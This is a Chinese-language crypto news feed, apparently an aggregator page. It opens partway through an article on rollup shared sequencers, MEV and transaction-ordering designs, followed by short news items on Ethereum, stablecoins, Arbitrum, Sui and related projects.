Rollup」状态机必须能够处理无效交易。当节点执行有序交易以计算结果状态时，节点可以简单地删除无效 / 恢复交易。立即执行的传统 Rollup 没有此限制。 在将交易包含在链上之前需要状态访问才能处理交易的 Rollup 在这里行不通。例如，如果 Rollup 有一个区块有效性规则，区块包含的所有交易都是不会失败的有效交易。如果 Rollup 需要交易锻而不是状态访问，那么可以专门为这种类型的 Rollup 创建一个特殊的 SS（例如，类似于 Fuel v2 或带有私有内存池的 Rollup）。 为了让 SS 运行，必须有某种机制让用户为他们的交易付费。你可以简单地使用大多数 Rollup 交易类型中已经包含的现有签名和地址来支付 SS 层上的 Gas。或者，付款可能涉及 SS 上的一些包装交易，任何人都可以为包含的任意数据付费。这是一个开放的设计空间。 Rollup 能够继承他们正在使用的 SS 的分叉选择规则。然后，Rollup 的全节点实际上是 SS 的轻客户端，检查一些提交以指示哪个 Rollup 区块在指定高度是正确的。 但是，继承 SS 的分叉选择规则是可选的——你可以简单地要求 Rollup 处理（不一定执行）它发布到基础层的所有事务数据。它会有效地继承基础层的 CR 和活性，但是你会牺牲很多用户喜欢的 SS 特性。 假设一个 Rollup 想要继承其 SS 的分叉选择规则并获得快速的软执行，SS 自然会在 MEV 方面处于非常核心的位置。它决定 Rollup 的交易包含和排序。 然而，Rollup 不一定必须执行 SS 提供的交易，或者按照提供的顺序执行交易。你可以在技术上允许自己的 Rollup 进行第二轮处理，以在执行后重新排序 SS 发布的交易。但是，如上所述，这会失去使用 SS 的大部分优点。 即使在这种情况下，SS 层也可能仍然存在 MEV，因为它有权包含交易。如果你真的想要，你甚至可以允许你的 Rollup 在第二轮处理中排除某些交易，但这会变得混乱，减少 CR，并且失去大部分 SS 的好处。 区块链中难以分叉的是任何形式的有价值的共享状态。看看 ETH 与 ETC 或类似的 ETH 与 ETH POW ，社会共识决定了「真正的以太坊」是什么。我们都同意的「真实」状态是有价值的。 然而，SS 实际上只是一个服务提供者——它们没有与之关联的有价值的状态。使用给定 SS 的 Rollup 保留了分叉它的能力，以支持一些其他排序机制，只需要一个小的硬分叉（例如，如果 SS 提取了太多价值）。 更具挑战性的是网络效应。如果许多 Rollups 都开始使用 SS 并且它们获得了巨大的网络效应，那么分离可能会很痛苦，除非其他 Rollups 也愿意迁移。 EigenLayer白皮书提到去中心化 SS 是重新质押的潜在用例之一。这个 SS 可以由 ETH 重新质押保护，它将处理许多不同 L2 的交易排序。 Well Espresso 刚刚在他们的共享排序器计划中公布了这一点。它可以利用 EigenLayer 重新质押来确保其共识。为了提供一个漂亮的可视化效果，今天 Rollup 是这个样子的： 这就是他们使用 Espresso 等 SS 时的样子： Espresso 排序器 (ESQ) 总体上与 Metro 的思路非常相似。它们按照相同的核心原则工作——将交易执行从排序中剥离出来。除此之外，ESQ 还将为交易提供数据可用性。 作为背景，以太坊目前使用 Gasper 达成共识（Casper FFG 作为最终工具 + LMD GHOST 作为其分叉选择规则）。这里相关的 TLDR 是 Gasper 即使在大多数节点可能掉线的条件下也能保持活跃（动态可用性）。它有效地运行两个协议（Casper FFG 和 LMD Ghost），共同维护一个带有最终前缀的动态可用链。Gasper 在快速确定性上进行权衡。 总体而言，ESQ 包括： 再仔细看看 DA。在乐观情况下，高带宽节点将使数据对所有其他节点可用，并且每个单独区块的可用性也由随机选出的小型委员会提供支持。鉴于小型委员会面临 DDoS 和贿赂攻击的风险，只要有足够比例的节点不妥协，可验证信息传播 ( VID) 就可以提供可靠（但较慢）的备份路径来保证 DA。 这个系统是为扩展性而构建的，因此 ESQ 希望为 L2 提供更便宜的 DA。他们仍然会将他们的证明和状态更新结算到 L1 以太坊，但请注意，这将使默认情况下使用 ESQ 的链不再是完整的「Rollups」（以太坊 L1 不保证他们的 DA )。它比数据可用性委员会 (DAC) 的简单实现更强大，但它的保证比真正的 Rollup 更弱。 转发给 SS 的交易将被排序，然后在 L1 上最终确定之前发回 Rollup 的执行者和证明者。SS 还将提交给区块信息连同用于验证该块的仲裁证书一起发送到其 L1 排序器合约。这允许 L1 Rollup 合约将 Rollup 状态更新证明与被证明为共识输出的区块提交的信息进行比较。 交易流程的完整视图： 正如 Espresso 帖子中所述，SS 可以提供一些关于跨链原子性的令人兴奋的用例： 跨多个 Rollup 共享的排序层有望使跨链消息传递和桥接更便宜、更快、更安全。消除为另一个链的排序器构建轻客户端的需要，节约了成本。通过消除给定 Rollup 与其他 Rollup 的共识保持实时独立的需求，交叉 Rollup 桥接也可以进一步节省成本。共享排序器还为桥接提供了安全优势：共享排序器可以保证当且仅当事务在另一个 Rollup 中完成时，它才能在一个 Rollup 中完成。 此外，共享排序器增强了用户表达跨不同 Rollup 的事务之间的原子依赖性的能力。按照惯例，Alice 将独立于 Bob 的 Rollup-B 交易 t’ 签署和发布她的 Rollup-A 交易 t’。在这种情况下，Alice 的交易可能会在 Bob 的交易之前很久就被排序，从而给 Bob 留下一个长期的选择来中止。这种可选性不平衡通过共享排序器得到缓解，Alice 和 Bob 可以将两个交易作为一个签名包一起提交（即，排序器必须将这两个交易视为一个交易）。 这对跨链 MEV 产生了影响，因为链上活动最终会增长。典型的例子是「原子套利」。同一种资产在两个不同的链上以两种不同的价格进行交易。搜索者希望在没有风险的情况下同时执行两笔交易来实现套利。例如： 对于原子套利 ，要么两笔交易都被成交，要么都没有成交。如果两个 Rollup 都选择了同一个 SS，那么它可以为搜索者实现这种原子套利。这里的 SS 可以保证： 假设 Rollup 虚拟机按顺序执行各自流中的所有事务（即，不存在无效指令，只是一些指令可以抛出错误而不影响状态），那么我们还可以保证： 但是，这仍然不是你在共享状态机（例如，完全在以太坊 L1 上）上进行交易时的保证。如前所述，SS 不持有这些 Rollup 的状态，它们不执行交易。你不能完全保证其中一项交易（在 R 1 或 R 2 上）不会在执行时恢复。 直接在这个基础上构建更高级的原语是有问题的。例如，如果你尝试在此 SS 之上构建一个即时销毁和铸造的跨链桥接，它会在完全相同的区块高度同时执行以下操作： 你可能会遇到以下情况： 这将是一个大问题。 在某些情况下，只要这两个事务都包含在输入流中并被执行，你就可以确定这两个事务的预期结果，但通常情况并非如此。 这些「保证」可能足以满足原子套利之类的需求，其中搜索者已经拥有在每条链上执行这些交易所需的资产，但这显然不是共享状态机的同步可组合性。对于像跨链闪电贷这样的东西，它本身并不能提供足够的保证。 与其他跨链消息传递协议结合使用时，可能仍然有用。让我们看看与交叉 Rollup 消息传递协议一起使用时如何促进 NFT 跨链原子交换： 此处的 SS 允许两个用户在步骤 1 中以原子方式提交。然后，你使用某种形式的跨链消息传递来验证彼此的结果状态并解锁资产以执行交换。 如果没有 SS 以原子方式进行，两方可以就价格达成一致。但随后 U1 可以提交交易，然后 U2 可以等待并决定是否要中止交易。有了 SS，他们就会被锁定在交易中。 这几乎是 SS 跨链原子性用例的边缘。总结： 关于跨链原子性的其他有趣主题，我建议查看： 总而言之，SS 的基本思想是： 显然这幅图并不科学，一切都是高度主观的，并且非常依赖于确切的构造。TLDR 如下： 一旦 L1 最终确定，所有 Rollup 都会达到 100% L1 安全性。在获得 L1 结算的完全安全和保障之前，大多数排序器设计只是试图提供好用功能，但削弱了在过渡期间的保证。 当我们谈论这些试图处理许多其他链的交易的共享层时，差异可能会让人非常困惑。特别是当 SUAVE 通常被称为「排序层」或者其他术语时，例如「用于 Rollup 的去中心化区块构建器」。需要明确的是，SUAVE与上述 SS 设计有很大不同。 让我们观察一下 SUAVE 如何与以太坊交互。SUAVE 不会以任何方式被嵌入以太坊协议。用户只需将他们的交易发送到其加密内存池中。SUAVE 执行者的网络然后会为以太坊（或类似的任何其他链）输出一个区块（或部分区块）。这些区块将与传统的集中心化以太坊构建者的区块竞争。以太坊提议者在它们之间做出选择。 同样，SUAVE 不会取代 Rollup 选择区块的机制。例如，Rollup 可以实现一个 PoS 共识集，其运作方式与以太坊 L1 的运作方式大致相同。然后，这些排序器 / 验证器可以选择 SUAVE 为它们生成的区块。 这与上面描述的 SS 非常不同，在 SS 中，Rollup 可以完全消除去中心化排序器的需要。他们通过选择 Metro 或 ESQ 等来外包排序功能，并且他们可以选择继承 SS 的分叉选择规则。Ethereum、Arbitrum、Optimism 等不会因为选择 SUAVE 交易排序而改变分叉选择规则。 SUAVE 不关心你的链的分叉选择规则是什么或者你的区块是如何选择的。它可以为任何链提供最有利可图的排序。请注意，与前面描述的 SS 节点不同，SUAVE 执行程序通常拥有完全状态（尽管它们也可能满足某些不需要状态的偏好）。他们需要模拟不同交易的结果以创建最佳排序。 为了解差异，让我们考虑一个用户想要运行原子跨链套利的示例。提交给 SUAVE 与提交给 SS，他们可以获得的保证有何区别： 现在考虑一下，SUAVE 如何与 Rollup 排序交互？甚至可能与 SS 交互？Espresso 似乎确实相信SUAVE 与 ESQ兼容。ESQ 旨在与私有内存池服务兼容，例如可以充当构建器的 SUAVE。它看起来类似于我们在以太坊上使用的 PBS，现在： 与 PBS 一样，构建者可以获得提议者（此处为排序器）的盲目提交，以提议给定的区块。提议者只知道从提议区块中获得的总效用（构建者的出价），而不知道内容。 综上所述，我们再回过头来看一个想做跨链套利的搜索者。SUAVE 本身可以构建并发送到两个不同的 Rollup： 但很有可能 B1 赢得了拍卖而 B2 输了（反之亦然）。如果将这两个 Rollup 选择到同一个 SS 中会发生什么。 SS 节点不知道交易实际上在做什么，所以它们需要有人（比如 SUAVE，或其他 MEV-aware 构建者）为它们构建一个完整的区块，如果它们想要高效的话。好吧，SUAVE 执行者可以将 B1 和 B2 都提交给 SS，条件是两个区块都被填充或杀死（原子地执行或删除两者）。 现在你可以在整个过程中获得非常好的经济保证： 我最近在 Flashbots 论坛上发了一篇关于 SUAVE 的潜在经济安全模型的帖子。简而言之， 我讨论了为什么从长远来看，Rollup 对于 SUAVE 来说可能是比重新质押更好的选择。 Hasu 也对重新质押和 Rollup 之间的权衡做出了一些非常深思熟虑的回应。以下是他回应的概要： 这里有一个新想法：两者都做怎么样？这就是重新质押 Rollup。 这样并没有解决 Hasu 提到的所有问题，但它仍然是一个非常有趣的新选择，尤其是从长远来看。 Rollup 可以使用这些 EigenLayer 重新质押者来实现本地共识，而不仅是提供安全，但是链随后汇总到以太坊（向以太坊发布数据和证明）。 如前所述，Rollup 可以决定实施他们自己的本地共识，以便在真正的 L1 最终确定之前为短期预确认和重组阻力提供更有力的保证。好吧，为什么我们不让 Rollup 共识集成为一组以太坊重新质押者呢？现在你有两个选择： 一旦 L1 完成确定性，任何 Rollup 都具有相同的安全性。这只是实现自己共识的 Rollup 的一种变体。与其像前面描述的那样在 Rollup 上设置自己的验证器并由自己的原生代币提供保护，这种方案选择让以太坊重新质押者运行共识。 同样，如果 Celestia 采用某种形式的重新质押（目前 Celestia 的 L1 非常小，没有智能合约功能），那将会很有趣。我之前曾写过，对于 Celestia 来说，嵌入 Rollup 将是一个有趣的方向，而本地重新质押将是另一个令人着迷的工具，允许自由市场决定他们想要加入哪些功能。重新质押还可以帮助 Celestia 的安全预算，因为 alt-DA 层的价值累积模型仍未得到证实。 最简单的想法（一般 Rollup 所做的）是使用简单的 FCFS 运行单个排序器，排序器按照它们收到的顺序提交事务。你可以合理地相信单排序器遵守 FCFS 排序，但它仍然会加剧潜在竞争和相关的负外部性，以及其他问题（不要实施 PoW 来尝试修复它）。因此，即使是中心化排序器也需要更有效地应对 MEV。 上面的一些解决方案隐含地处理了 MEV 的部分问题（例如，举办一个完全免费的公开拍卖），但显然没有 Rollups 想说他们的用户被夹在中间。所以，我们可能需要发挥创意，结合拍卖的好处和可编程的隐私。 这就是为什么中心化排序器今天喜欢拥有私有内存池——试图确保用户不会被抢跑等。但这并不容易去中心化。如果你向许多排序器开放，你是否相信他们运行自己的私有内存池？即使你这样做了，如果每个人都有自己的私人内存池并且你需要开始轮换领导者，那也可能产生新的问题。 加密内存池是解决其中许多问题的一个引人入胜的研究领域。我刚刚发布了一篇文章介绍它。在这篇文章中，我简要概述了 FCFS 提案的一些变体。 意识到简单 FCFS（先到先得）的局限性和负外部性，Arbitrum 已经开始探索它的新变体。最近，他们提出了时间提升（Time Boost）机制。基础知识： 提升由以下公式计算： F = 交易的优先费 g = 可提升的最大时间（500 毫秒） c = 待定常数 当前搜索者只能通过尽量减少延迟（打开许多连接、物理上接近、基础设施投资等）来表达他们对快速包含到 Arbitrum 排序器的偏好。Time Boost 反而会降低投资于上述策略的动机，因为搜索者现在可以通过他们的优先费用出价来表达他们对快速包含交易的偏好。 它比简单的 FCFS 有了明显的改进，但在我看来仍然有一些缺点： FBA-FCFS Flashbots 的 Xin 去年为 Arbitrum 提出了一个替代方案（FBA-FCFS）。这种实现 Themis 的频繁批量拍卖风格的变体。在提案中： 与时间提升提议类似，有一些想法尝试保证相对较快的交易包含（建议 <500 毫秒）并防止通过受信任的节点抢跑。同样，它允许搜索者通过费用表达他们的偏好，从而减少了延迟竞争的动机）。 在给定批次的末尾，「快速搜索者」存在剩余的延迟优势，而其他「慢速搜索者」无法竞争： 这是此类拍卖的一个很好理解的方面。更长的批次时间可能进一步使延迟边缘相关的时间百分比下降，尽管批次价值可能更高。较长的出块时间会对 MEV 产生其他影响。 延迟边缘总结： 关于延迟时间： FBA-FCFS 带来了更多的可变性（例如，交易可能会根据接收时间滑到下一批），但不支付优先费用的普通用户交易的收录时间平均应该更短。时间在 Time Boost 模型中被连续处理（没有区块的概念），而时间在 FBA-FCFS 模型中被离散化。 请阅读 Phil 的这篇文章。 希望现在你对排序器去中心化的路径和相关障碍有一个不错的认识。这是 Rollup 在未来几年内成熟所需要应对的众多挑战之一。 其他一些有趣的探索领域包括： 感谢 Ben Fisch 、Josh Bowen 、Cem Özer 、Kelvin Fichter 、Zaki Manian 、Hasu 、Robert Miller 、Tarun Chitra 、Sreeram Kannan 以及其他人围绕该主题的投入和讨论。  ( 17 min )
    数据：ETH非零地址数创新高
    PANews 3月25日消息，据Glassnode数据显示，ETH非零地址数约达9611万，创历史新高。  ( 4 min )
    OpenAI就ChatGPT漏洞致部分用户信息泄露道歉，目前漏洞已修复
    PANews 3月25日消息，据财联社报道，OpenAI发布声明，向用户和整个ChatGPT社区道歉，表示将重建信任。声明表示，本周早些时候，该公司将ChatGPT下线，原因是开源库中存在一个漏洞，致使一些用户可以看到另一用户的聊天记录标题。目前，该漏洞已被修复。 此前消息，OpenAI正为ChatGPT添加插件支持，允许联网、运行计算或使用第三方服务。  ( 4 min )
    美财长耶伦主持召开紧急金融稳定会议
    PANews 3月25日消息，据东方财富报道，当地时间周五，美国财政部称耶伦当天上午将召集美国主要金融监管机构负责人，召开先前未安排的金融稳定监督委员会（FSOC）闭门会议。美国财政部在声明中称，会议将不对公众开放。据悉，FSOC由美国财政部牵头，负责认定金融系统中不稳定因素，规范市场纪律，应对潜在风险。该机构成员包括美联储、联邦存款保险公司（FSOC）和、证券交易委员会其他几个监管机构的负责人。  ( 4 min )
    2023稳定币市场现状与展望：竞争态势双足鼎立，DEX市场份额逐渐减少
    从以 USDT 与 USDC 为代表的中心化稳定币，到 DAI 与 FRAX 主宰的超额抵押稳定币，再到 UST 的兴起与衰落，稳定币市场在不断发展。我们希望通过本篇报告展示稳定币市场的现状，并展望稳定币市场的未来发展前景。 稳定币一般分为三种，储备资产背书、超额抵押和算法。储备资产背书的稳定币最为常见，不过他们也最中心化。去中心化的稳定币一般采用超额抵押的机制。算法稳定币在 Terra（LUNA）崩盘后已经逐渐消失了。 截止到 2023 年 3 月，中心化稳定币的市场份额达到了 94%，而去中心化稳定币的市场份额只有约 6%。在 2019 到 2022 年的时间内，去中心化稳定币的市场份额大幅度增加，在牛市中（2022 年 5 月）达到最高点，市场份额达到了 17%。但是在 Terra 崩溃了之后，UST迅速归零，去中心化稳定币的份额也逐渐减少。 主要的中心化稳定币包括USDT、USDC和BUSD。然而由于监管方面的原因，BUSD 自 2023 年 2 月起不再增发，USDT 和 USDC 势将形成双足鼎立的局面。二者之中 USDT 目前小幅领先。 去中心化稳定币也是双足鼎立，不过 DAI 的领先优势要大得多，它比 FRAX 大五倍。 然而这俩名义上的去中心化稳定币更像是换了个壳的 USDC。在硅谷银行引发 USDC 价格下跌后，DAI 和 FRAX 的价格同步下跌，因为这俩稳定币背后的抵押物绝大部分是 USDC。 通过目的来给稳定币分类而不是发行商给我们提供了另外一个视角。纯粹型稳定币发行商专注于稳定币的铸造和销毁。而应用稳定币发行商的主业是开发加密协议，并通过发布原生稳定币来配合其主要产品。 因为有天然的应用场景，应用稳定币的普及之路更容易，增长潜力更高，BUSD 和sUSD就是证明。 Curve 的 crvUSD 和 Aave 的 GHO 是将改变行业格局的两个即将推出的应用稳定币，因为它们每个都有数十亿的 TVL 准备用作抵押品。 然而，如果我们把 ETH 也纳入考虑范围，那么 ETH 可能才是 Crypto 一直在试图创造的那个货币。  ( 5 min )
    Arbitrum某开发者疑似被黑，在Discord社区发布钓鱼链接
    PANews 3月25日消息，HideoutNFT创始人WickdNFT发推提醒，Arbitrum的一名开发者疑似被黑，在Discord社区发布钓鱼链接。在Arbitrum团队确认其重新获得对Discord服务器的控制前，请用户不要单击该频道发布的任何链接。  ( 4 min )
    Sui 联创：团队有各领域的专家和先驱，Sui将会是个与众不同的Layer1公链
    受访者：Adeniyi Abiodun，Mysten Labs 首席产品官和 Sui 联合创始人 编译：Peng SUN，Foresight News Adeniyi Abodiun 与 Evan Cheng、Sam Blackshear、George Danezis 和 Kostas Chalkias 共同创立了 Sui 区块链和 Mysten Labs，目前担任 Sui 开发团队 Mysten Labs 联创兼首席产品官（CPO）。Adeniyi Abiodun 最初是伦敦的一名软件工程师。2012 年，他建立了自己的第一个加密基础设施业务，此后相继在 Oracle、VMWare 与 Meta 担任领导职务。 在此次丹佛的 Sui Builder House 期间，Sui 基金会技术内容经理 Wayne Cunningham 与 Adeniyi Abiodun 进行了一次 AMA 活动，社区与用户可以借此深入了解 Mysten Labs 团队的内部情况、两次测试网结果、最喜欢的产品用例以及 Adeniyi 对主网上线后的期望。 Wayne Cunningham：Adeniyi，作为 Mysten Labs 的首席产品官和 Sui 的联合创始人，你的职责是什么？ Adeniyi Abiodun：在 Mysten Labs，我们正在构建去中心化网络的基础，旨在让每个人都能安全、快速、低成本地访问数字资产。 除此之外，我还负责帮助公司实现这一愿景，确保我们衡量的是正确的事情，同时也在制定正确的目标，以采取有意义的步骤。我们是一支在经济、产品、营销、设计与工程等方面极为出色的团队。虽然跨越许多垂直领域，但我们的日常工作中更注重围绕共同目标来团结团队，确保我们在为试图进入 Sui 平台的开发者打造量身定制的产品。我们认为，Sui 是下一代区块链，实际上为 Web3 带来所谓的宽带。 Wayne Cunningham：你提到了衡量正确的事情，那么，衡量标准是什么呢？ Adeniyi Abiodun：我们真正关心的是开发者能够在一个真正给他们带来好处的平台上构建应用。首先，他们能否吸引到足够多的目标受众？其次，他们能否构建出高度安全与可信的应用？ 这正是去中心化技术的优势。它可以让你建立强大的社区，采用新的货币化策略，在公共共享基础设施上构建代码，并且以高度可扩展的方式实现。我们相信，开发者在 Sui 平台上可以形成最大的社区，因为我们可以在任何 Layer1 区块链上支持最大的用户基础。 Wayne Cunningham：Mysten Labs、Move 语言与 Sui 区块链都来自于你在 Meta 与 Evan、Sam、Kostas 与 George 的合作。你能描述一下与他们一起工作的感觉吗？以及你是如何一步步走到这里的？ Adeniyi Abiodun：我们未能在 Facebook 实现这个梦想，但我们相信已经建立了一支卓越的团队，能够从技术角度帮助公司实现大部分目标。事实上，这个目标没有机会获得成功。因此，我们认为实现这一愿景的最佳方式是真正构建一个完全去中心化的基础架构，而不是在 Facebook 内部构建一些东西。 与 Sam、Geore、Kostas 与 Evan 一起工作是一段很美好的经历。他们非常优秀，没有什么比跟自己的朋友一起开公司更好的事情了。 Wayne Cunningham：他们的简历都非常优秀，Sam 发明了 Move，Kostas 是一个出色的密码学家，George 是隐私技术和分布式系统专家，Evan 有一个伟大的区块链愿景。那么，他们能否很好地互补呢？ Adeniyi Abiodun：我们是互补的。我在产品方面有很强的技术背景，但与团队其他成员相比，还差得远。首席执行官 Evan 是编译器方面的专家和先驱，他制定了一个伟大的愿景，产品能力也很强。我们还有发明 Move 编程语言的 Sam、George 与 Kostas，他们都是不同领域的专家。我认为这就是 Mysten Labs 与 Sui 的与众不同之处。我们有编程语言、密码学与分布式系统方面的专家，我们曾经建立过高效运营的团队。所有这些都是真正解决问题以构建有史以来最具扩展性的区块链所必需的。有些阵容强大的团队可能并未从中受益，而这实际上塑造了我们现在的成功。 Wayne Cunningham：你对产品的关注似乎着眼于网络的实用性与用户，那么对于一个目前仍在发展中的网络而言，你是如何创造这种愿景的？ Adeniyi Abiodun：对这个问题的痴迷。我痴迷于创造真正适合用户基础的东西，而我们的用户基础是开发者。我们专注于为开发者创造最好的平台进行构建。这就是为什么我们要花大量时间来达到目标，因为我们只是不断地迭代，让它变得更好。工具必须要更好，编程经验与构建经验也要更好，开发者的平台使用情况也要更好。 因此，我的工作实际上是让新老开发者更好地理解深入的技术概念与组件。我们团队正在实现这一目标。 Wayne Cunningham：可以介绍一下到目前为止两次测试网 Wave 1 与 Wave 2 的运行内幕吗？ Adeniyi Abiodun：这两个测试网均已顺利结束。看起来一切运行良好，其实团队在背后做了大量的工作。当某个特定日期或截止日期来临时，整个团队会团结在一起。第一个测试网是关于验证节点的，我们能否让这个网络与验证节点一起运行，允许他们运行客户端，而不是过去六个月里由我们自己运行？ 第二个测试网是关于代币经济学的。我们在区块链上直接构建代币，区块链在代币经济学中的工作方式是合并（merge）与融合（fuse）为一体。我们需要证明很多东西，因为这是个大赌注，我们认为能够在 Wave 2 中证明很多东西。接下来的 Wave 3 将以开发者为中心。 Wayne Cunningham：在测试网 Wave 2 的运行过程中，代币经济学有什么惊喜吗？ Adeniyi Abiodun：从消费者的角度来看，Web3 令人不满的是 Gas 价格不可预测。如果 Gas 费变化无常，我们就无法建立可以大规模采用的系统。我们在代币经济学中设计了一个元素，即使在波动性高与网络拥堵的情况下，Gas 费也应尽可能地持平。Wave 2 已经证明了这一点。 Wayne Cunningham：这是一个与必须添加服务器以跟上流量的云模型截然不同的模型吗？ Adeniyi Abiodun：其实有点类似。大多数区块链无法向网络添加更多资源，它们的容量固定，而确保不受网络拥堵影响的最好方法是提高交易价格，这样基本上可以一直处理出价最高的人。这是一个控制网络拥堵的方法，但这是一个糟糕的模型。事实上，云模型并不是这样工作的，谷歌不会因为刚刚推出 50 个独立的应用程序而增加我的账单。他们所做的是投入更多的服务器来解决这一问题。Sui 的设计也是如此，即随着网络变得拥堵，验证节点不会增加 Gas 费，而是可以简单地投入更多的资源来保持资源供需之间的平衡。 Wayne Cunningham：你预计主网启动时是什么样子？它将从测试网 Wave 3 平稳过渡，还是会有一些截然不同的东西？ Adeniyi Abiodun：我们不会推出一个低性能、不安全以及缺乏我们想为开发者提供的所有功能的区块链。主网将是功能丰富的，上线之后唯一要做的就是为网络增加额外的可扩展性与额外的开发者改进。 主网上线后第一天，用户就可以使用应用程序、玩 Sui Capys、在 DEX 与中央限额订单簿上进行交易。用户能够做传统区块链上的所有事情，但区别在于，我们拥有比传统区块链创造更多参与度的应用程序。 Sui 上的 NFT 是动态的，它们将提供更多的用户参与度，这些类型的用户参与将促进人们以新的方式建立更有趣的社区。 Wayne Cunningham：在 Sui 上的应用程序中，你最喜欢的用例有哪些？ Adeniyi Abiodun：游戏是我们的最爱之一。我们认为游戏已经与数字资产所有权很好地结合起来，包括现在在公共账本上解放这些资产，让人们在 Sui 上自由构建可组合性方面。这是非常独特的，因为它是完全可组合的，其他区块链并不能实现这一点。这将促进以往无法想象的新一波合作。 Wayne Cunningham：你是否期望游戏环境更加丰富，譬如可以在游戏机上体验？你期望在区块链上看到这种类型的演变吗？ Adeniyi Abiodun：我们已经宣布与一些世界领先的游戏工作室合作，他们是打造 AAA 级游戏的专家。我们认为，游戏必须首先是有趣的，这就是我们与经验丰富的游戏制作者合作的原因。我们将发布大量将在 Sui 主网上推出的特定游戏应用程序的报道。 Wayne Cunningham：长远来看，Mysten Labs 是要专注于建设 Sui 区块链，还是要开发自己的应用程序并构建用户体验？ Adeniyi Abiodun：我们的目标是为开发者提供持续服务，这就是我们要做的事情，这是 Sui 取得成功的关键。它已经归入 Sui 基金会中，使其能够独立于 Mysten Labs 发展。 从现在开始，Mysten Labs 的工作是持续关注这一领域，找出开发者的差距。我们要如何资助那些在开发者体验方面做得更好的公司，或者我们自己建设我们认为有机会做出比市场上现有产品好 10 倍或 100 倍产品的公司。这实际上是为开发者提供更好的开发工具。  ( 5 min )
    Animoca否认其元宇宙基金削减2亿美元且估值降至20亿美元的说法
    PANews 3月25日消息，据Cointelegraph报道，Web3游戏开发商Animoca Brands否认了有关在加密市场动荡和银行业不稳定的情况下将其元宇宙基金募资目标下调20%至8亿美元的说法。此外，该公司还否认了有关其估值已从2022年7月的60亿美元暴跌至2023年3月的约20亿美元的说法。该公司表示：“毫无疑问，FTX和银行业危机对可用风险资本产生了严重影响，但Animoca Capital基金的筹资正在进行中。融资结束后，我们将向市场通报适当的细节，包括该基金的最终规模。”  ( 4 min )
    速览开发平台Particle Network如何降低Web3采用门槛
    原标题：「CN」ABCDE：我们为什么领投Particle Network？ 作者：ABCDE Particle Network是一个面向Web3的开发平台，旨在提高开发者的开发效率并加速Web3的大规模采用。其核心产品是基于MPC-TSS技术的登录和钱包中间件，无需终端用户记忆助记词及使用gas fee，大大降低Web3采用的门槛。 目前已经数百家Dapp和游戏接入Particle Network，成为行业第一的钱包和登录中间件，且遥遥领先。未来，Particle将成为全栈的中间件平台，大大降低Web3采用门槛，走向亿万用户。 ABCDE于A轮领投了Particle Network，Animoca, Longhash Ventures, GSR Ventures, Hashkey, Arcane Group, OP Crypto, Arkstream Capital等机构跟投。 尽管Web3增长令人瞩目，但与更广泛的互联网相比，仍然是一个较小的利基市场。Statista数据显示全球互联网用户数量已经达到46亿。相比之下，Web3目前只有大约1000万用户。Web3仅占整体互联网用户基础的一小部分，为了实现Web3全部潜力，需要吸引更大的用户基础。 Web3采用的最大障碍无疑是助记词和gas fee。目前，用户需要有助记词来创建钱包，对于新用户来说，生成助记词是一项劝退的任务，而需要保护助记词的安全性也会增加使用Web3的复杂性。 同时用户创建完钱包之后，还需要并支付gas费用来使用Web3 Dapp，这就得通过OTC去买币然后又打回钱包。对于新手用户而言，这是一个重要的劝退门槛。 Particle Network是业内首家应用MPC-TSS技术来降低助记词和gas门槛的公司。 通过使用Particle MPC登陆及钱包中间件，开发者可以让用户通过手机号、邮箱、谷歌、Facebook、推特等多种方式直接登录dApps，并自动创建一个链上的、非托管的钱包，而无需考虑助记词和Gas fee，大大降低了用户登录和使用门槛，提升了后续与链交互，包括转账、签名、授权等用户体验。 自 2022 年 10 月下旬产品发布以来，Particle Network 已与数百个Web3项目合作，包括 FunPlus和完美世界等传统游戏巨头，以及 Era7和Ultiverse等新兴 Web3 游戏项目。 4月，Particle Network将发布MPC+AA钱包解决方案，提供跨平台SDK，形成MPC+EOA和MPC+AA账户抽象钱包的产品矩阵。 此外，除了钱包和登录中间件，Particle Network还提供节点服务、数据API、NFT全栈API/IPFS服务等中间件产品。 未来，Particle Network将成为开发者的全栈中间件平台，帮助开发者专注于构建业务场景、释放生产力，让Web3更低门槛地走向亿万用户。  ( 4 min )
    币安定投计划已支持Arbitrum投资组合
    PANews 3月26日消息，据官方公告，币安定投计划已添加Arbitrum投资组合，现已支持ARB、GMX、MAGIC和GNS。  ( 4 min )
    数据：已有82%的ARB空投被申领
    PANews 3月25日消息，Nansen数据显示，当前已有超9.5亿枚Arbitrum代币ARB被申领，占此次空投供应量的82%。此次空投符合条件的地址数为625143个，已申领地址数为509933个。CoinMarketCap行情显示，ARB暂报1.26美元，24小时跌幅为9.87%。  ( 4 min )
    数据：zkSync总交易量突破2000万笔
    PANews 3月25日消息，Dune Analytics数据显示，以太坊L2扩容解决方案zkSync本周交易量约为2,025,135笔，7日平均交易量创历史新高，目前总交易量已突破2000万笔。  ( 4 min )
    Coinbase前首席技术官：希望比特币可以接替美元成为全球储备货币
    PANews 3月25日消息，Coinbase前首席技术官Balaji Srinivasan推特发文称，历史告诉我们，投资者倾向于在压力时期涌入以美元计价的资产。从更长远的角度来看，人们会远离不断贬值的货币。这是与2008年的关键区别，美元不再是大而不能倒的货币，希望比特币可以接棒美元，成为新的全球储备货币。  ( 4 min )
    从单体到模块化，以太坊POS带来了哪些好处？
    原文：《How Proof of Stake Ethereum Works》by Patrick McCorry 翻译：0xFelix  校对：Franci, ECN 以太坊已经达到了其中一个期待已久的里程碑 —— 合并！这是一个非常重要的时刻。经过长达 7 年的努力，以太坊社区成功地将工作量证明机制替换为权益证明共识协议。直接的影响是将网络的能源消耗减少了 99.95%，仅占全球电力消耗的0.02%。这是值得庆祝的成果！ 除此之外，升级带来的技术优势还有很多，但大多数社区并不清楚。现在是时候撰写更易于理解的材料来介绍权益证明机制工作原理、重要性以及即将推出的激动人心的功能了 —— 尤其是现在权益证明正在保护数千亿美元的资产。 为了支持这一努力，我们准备了一系列文章来解释权益证明协议，面向对这项技术感兴趣的研究人员、开发人员和最终用户。在两周的时间内，我们将发布以下文章并更新相关链接： - 模块化设计和两条区块链， - Epochs、Slots 和信标区块， - 验证者见证和投票协议， - 补偿和惩罚， - 以太坊的权益证明是否实现了其目标？ 此外，还包括以下一些话题： - 注册和提款过程， - 怠工惩罚， - 聚合器和子委员会的角色， - 摇摆攻击（未发布）， - 同步委员会（未发布）。 我们希望这些文章能帮助您了解权益证明协议的工作原理，并作为您在开发过程中进行共识客户端代码之前的必备知识。 感谢 Teku 团队，特别是 Ben Edington 和 Mikhail Kalinin 耐心解答我的问题。 区块大小之战最终是关于去中心化的争斗 - 应该尽可能地经济实惠？还是应该尽可能地可验证？ 对于区块链可扩展性的追求让社区在过去 10 